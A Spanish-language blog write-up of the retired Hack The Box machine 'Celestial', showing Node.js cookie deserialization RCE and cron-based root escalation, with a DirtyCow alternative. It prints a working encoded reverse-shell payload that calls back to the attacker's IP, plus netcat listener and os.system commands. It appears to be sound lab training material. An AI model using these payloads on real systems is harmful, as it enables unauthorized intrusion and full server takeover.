HTB Write-up – Celestial

Buenas a todos conejillos!! Continuando con la dinámica que acabamos de comenzar de sacar los write-ups de las máquinas de Hack the Box que van retirando, aprovechando que es la que retiran esta semana, vamos a darle una vuelta a Celestial.

Enumeración

Lo primero será ver qué hay, ¿no? Lanzamos un clásico nmap para conocer los puertos típicos abiertos, a velocidad normal (-T4), realizando un reconocimiento de versiones y sistema operativo (-A) y ejecutando en cada servicio los scripts más comunes de enumeración del servicio (-sC).

nmap -A -T4 -sC 10.10.10.85

Al parecer hay un servicio corriendo en el puerto 3000, que se ha reconocido de forma automática como un Node.js con Express Framework. El sistema operativo no se ha reconocido.

Lo primero que haremos es, mientras dejamos un escaneo de puertos TCP completo (-p-) en velocidad alta (-T5) por si acaso hay algún servicio corriendo en un puerto poco reconocido, ejecutaremos algunas herramientas para un mayor reconocimiento y enumeración del servicio web.

  • Nikto, que realiza reconocimiento de tecnologías del servidor y la web, así como parámetros básicos de las peticiones y cookies y algunos directorios estándar.

  • Whatweb, que realiza un reconocimiento más superficial de las tecnologías web de la página.

  • dirb, una herramienta de fuerza bruta que nos permite localizar páginas y directorios dentro de la página a partir de un diccionario con palabras comunes utilizadas en éstas. Utilizaremos el diccionario predeterminado (common.txt).

Vaya, parece que no ha habido mucha suerte. Lo «único» sospechoso o poco habitual que hemos sacado adicionalmente tanto en Nikto como en WhatWeb es que según accedes a la página te planta una cookie, llamada «profile», que inspeccionaremos algo más adelante.

A lo mejor había que haber empezado abriendo la página en el explorador.

Toqueteando el servicio web y explotación

Abrimos en Firefox, porque nos mola, la página localizada en https://10.10.10.85:3000 y a ver qué pasa:

Nos topamos de frente con una página bastante… ¿sencilla? No tiene ni título, vaya (ya nos lo decía nmap). Vamos a ojear la cookie «profile» que encontramos antes en la extensión Cookie Editor en Firefox.

Llamadme perspicaz pero eso tiene una pinta de Base64 que tira p’atrás, con los caracteres «=» como encodeados para URL al final y todo. Vamos a pasarlo por la terminal y el comando base64 a ver qué descubrimos, previo cambio de los %3D por signos =»:

Tenemos como resultado el siguiente texto, formateado como un JSON:

{  
   "username":"Dummy",
   "country":"Idk Probably Somewhere Dumb",
   "city":"Lametown",
   "num":"2"
}
Nos han plantado «Dummy» como nombre de usuario, lo cual me parece algo ofensivo pero bueno peores cosas nos han llamado, entre otros datos. En principio parecen asignados de forma default. De todos modos, llama la atención el campo «num», con un valor «2».
En la página tenemos un «Hey Dummy 2 + 2 is 22». ¿Tendrá que ver? Vamos a verlo. Cogeremos el JSON que teníamos y cambiaremos el 2 por el 3 (mismamente), y lo volveremos a formatear como base64 desde terminal (con parámetro «-w 0» para evitar saltos de línea).
Una vez sustituidos los signos «=» por «%3D», lo insertamos en la cookie y actualizamos.
Efectivamente tenemos algo ahí. La página interactúa con la cookie.Vamos a seguir por tanto toqueteando por ahí utilizando BurpSuite.Capturaremos en el Proxy la petición y la enviaremos al Repeater para poder reenviarla variando los parámetros de la cookie de forma ágil (no me entretendré con eso porque ya lo recogimos en su día en las entradas que he linkeado).
Vamos a hacer algo muy simple, que es meter «basura» en la cookie, de forma que al decodificar el base64 provoque un error, que esperamos que sea no controlado y nos de algo de información.
Efectivamente, hemos provocado un error no controlado en la deserialización de los datos de la cookie en el lado servidor. Podemos ver claramente el mensaje de error referenciando «Object.exports.unserialize». Y de paso, hace disclosure del usuario «sun», en cuyo directorio HOME están los ficheros del servicio web.
Tras un rato de investigación, forma eufemística de llamar a «buscar en Google», encontramos que Node.js entre otros, en ciertas versiones, es vulnerable a la ejecución remota de comandos utilizando las funciones de deserialización. Mucho mejor que yo os lo puede explicar el autor del siguiente artículo:
En el enlace anterior además se referencia un exploit localizado en una página de Github y que podemos desecargar y utilizar para probar contra nuestra máquina.
Lo primero que debemos comprobar es si la página «se come» parámetros insertados de forma arbitraria dentro de la cookie. Podemos hacerlo fácilmente desde el Decoder de Burp Suite o desde la misma terminal. Por variar vamos a utilizar el primero:
Enviamos mediante Repeater el valor en base64 de dicho JSON y vemos el resultado:
No hay, por lo visto, problema en incluir parámetros adicionales en la cookie que el backend va a serializar. Tenemos todas la papeletas de que nuestro plan funcione.
Descargamos por tanto el exploit que hemos nombrado antes. Es muy sencillo de utilizar: lo ejecutamos con python (3) utilizando nuestra dirección IP local y puerto a la escucha como parámetro, y nos generará un shellcode en forma de eval() que reenviará a dicho puerto a la escucha un intérprete de comandos de la máquina explotada.
El tema no acaba aquí. Siguiendo las instrucciones que nos contaban en el enlace que vimos anteriormente, debemos formar de una forma concreta el JSON que enviaremos mediante la petición con la cookie al servicio:
{"rce":"_$$ND_FUNC$$_function(){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,52,46,53,34,59,10,80,79,82,84,61,34,52,52,52,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}
Podemos ver al principio del JSON la clave «rce» cuyo valor será una función que interpretará NodeJS con nuestro Shellcode, aprovechando así la vulnerabilidad de deserialize.
Esto lo podemos pasar mediante terminal o cualquier otro encoder a base64 y plantárselo a la petición que teníamos guardada en el Repeater, previa ejecución de un comando en una terminal para quedarnos a la escucha de la shell:
nc -l 10.10.10.14.5 4444
Vaya, al parecer el servidor comprueba por su lado que exista el campo usuario. PERO, vemos que ya  hemos recibido de todos modos la shell, dado que el parámetro enviado se ha interpretado. Ejecutamos como prueba los comandos whoami y pwd para ver quién somos y dónde estamos:
Con un comando find podemos encontrar la flag y recuperarla. ¡Ya tenemos user!
find . -name "user.txt"
Que te creías que te la iba a regalar

Escalada de privilegios

Ya estamos dentro de la máquina, pero tendremos que currarnos un poco la escalada para poder averiguar la flag de root. De forma rutinaria vamos a comprobar si tenemos permisos de administración o sudo mediante grupo, o si tenemos permitidos comandos con SUID de root en caso de tenerlo:

El siguiente paso sería examinar los ficheros que tengamos en nuestro home a ver si hay algo interesante.

En el proceso de búsqueda (básicamente listando todos los directorios posibles, o mediante listados recursivos con «ls -R», no me entretendré ahora en ello), encontramos dentro del directorio Documents, donde estaba la flag de usuario, un fichero «script.py». El contenido es el siguiente:

Es simplemente una sentencia print con el texto «Script is running…». Encontarmos también en la raíz del home del usuario un fichero sospechoso: output.txt.

¿Os suena? La salida es la misma. Comenzamos a sospechar. Sin embargo, eso podría ser perfectamente la salida de la ejecución realizada por otro usuario de Hack the Box dentro de la máquina y que lo ha dejado ahí. Pero hay otras posibilidades que hay que comprobar.

Anteriormente al ejecutar el comando groups vemos que el usuario sun se miembro del grupo «adm», por tanto puede inspeccionar los logs del sistema.  Y por tanto, podemos examinar Syslog. ¿Por qué no miramos para ver si el script se está ejecutando de forma automática mediante CRON?

cat /var/log/syslog | grep CRON

Efectivamente hay una tarea periódica en CRON, cada cinco minutos concretamente, que ejecuta el script redirigiendo la salida al output.txt que hemos visto, y además lo hace como root.

El código un poco más claro:

python /home/sun/Documents/script.py > /home/sun/output.txt
cp /root/script.py /home/sun/Documents/script.py
chown sun:sun /home/sun/Documents/script.py
chattr -i /home/sun/Documents/script.py
touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py

Además, sobreescribe el script, copiándolo desde el directorio /root y cambiando el owner y group de la copia, borrando por tanto las posibles modificaciones. Dado que  el script guardado en /root tiene el atributo inmutable, se lo quita a la copia. La última parte parece crear un registro con la fecha de la última modificación de la flag de user y cambiar la fecha de modificación de la copia del script a la actual.

Para explotar esto, lo que haremos es modificar el script, que como hemos visto tiene como owner y group el nuestro («sun»), y esperar a que se ejecute. Lo haremos dos veces. La primera con el siguiente código:

import os; os.system(«ls -la /root»)

Si sale bien, y nos enumera los ficheros contenidos en /root (enter ellos la flag, que normalmente está en /root/root.txt), lo haremos de nuevo con el siguiente código:

import os; os.system(«cat /root/root.txt»)

Con un simple echo podemos sobreescribir el script y esperar unos minutos a la siguiente ejecución:

Adicionalmente hemos comprobado desde la shell la fecha de modificación de output.txt y la hora actual para ver el tiempo de espera hasta la siguiente ejecución, menos de dos minutos.

Todo ha ido según lo esperado. Por tanto, en el siguiente intento intentaremos ya hacernos con la flag de root:

EXTRA: La escalada por el camino B

Hay una forma «secundaria» de conseguir ser root en la máquina mediante DirtyCow. Podemos descargar cualquiera de los exploits públicos y subirlo compilado a la máquina y funcionará (al menos los que probé, que son cowroot.c, dirtycow-mem y cow.c).

Sin embargo, la máquina en unos segundos deja de funcionar y es necesario un reinicio. Al no ser este el método intencionado (deduzco) de escalada, intentad siempre el anterior.

Para hacer ésto de forma simple y rápida, podemos en nuestra terminal local compilar el binario y pasarlo a base64 para poder copiarlo posteriormente a nuestra consola remota guardándolo a un fichero con echo.

Hecho esto, leemos dicho fichero y lo decodificamos, redirigiendo la salida a otro fichero que será el binario a ejecutar.

Tomaremos como ejemplo el exploit cowroot.c. En nuestra máquina local lo compilamos y pasamos a base64:

Lo copiamos (abriéndolo con cat o cualquier editor e texto) y lo pegamos en la máquina remota, para despues traducirlo de vuelta a binario:

Ejecutamos y podemos ver mediante whoami que ya somos root y ver la flag correspondiente:

 

 

Y hasta aquí el Write-up muchachos!! Espero que os sirva para conocer un poquito más la máquina y lo hayáis disfrutado 🙂

Un comentario en «HTB Write-up – Celestial»

  1. que buena, me lo lei todo, espero leerme todos los demas, estoy sacando provecho de tu experiencias y tomarlas de apuntes, me encanta la seguridad, debi haber estudiado algo relacionado y no soldaduras en fierro, y estructuras metalicas :P, un abrazo desde chile seguire aprendiendo te encontre en youtube y te hare mi maestro para tener una referencia de un verdadero hacker.

Los comentarios están cerrados.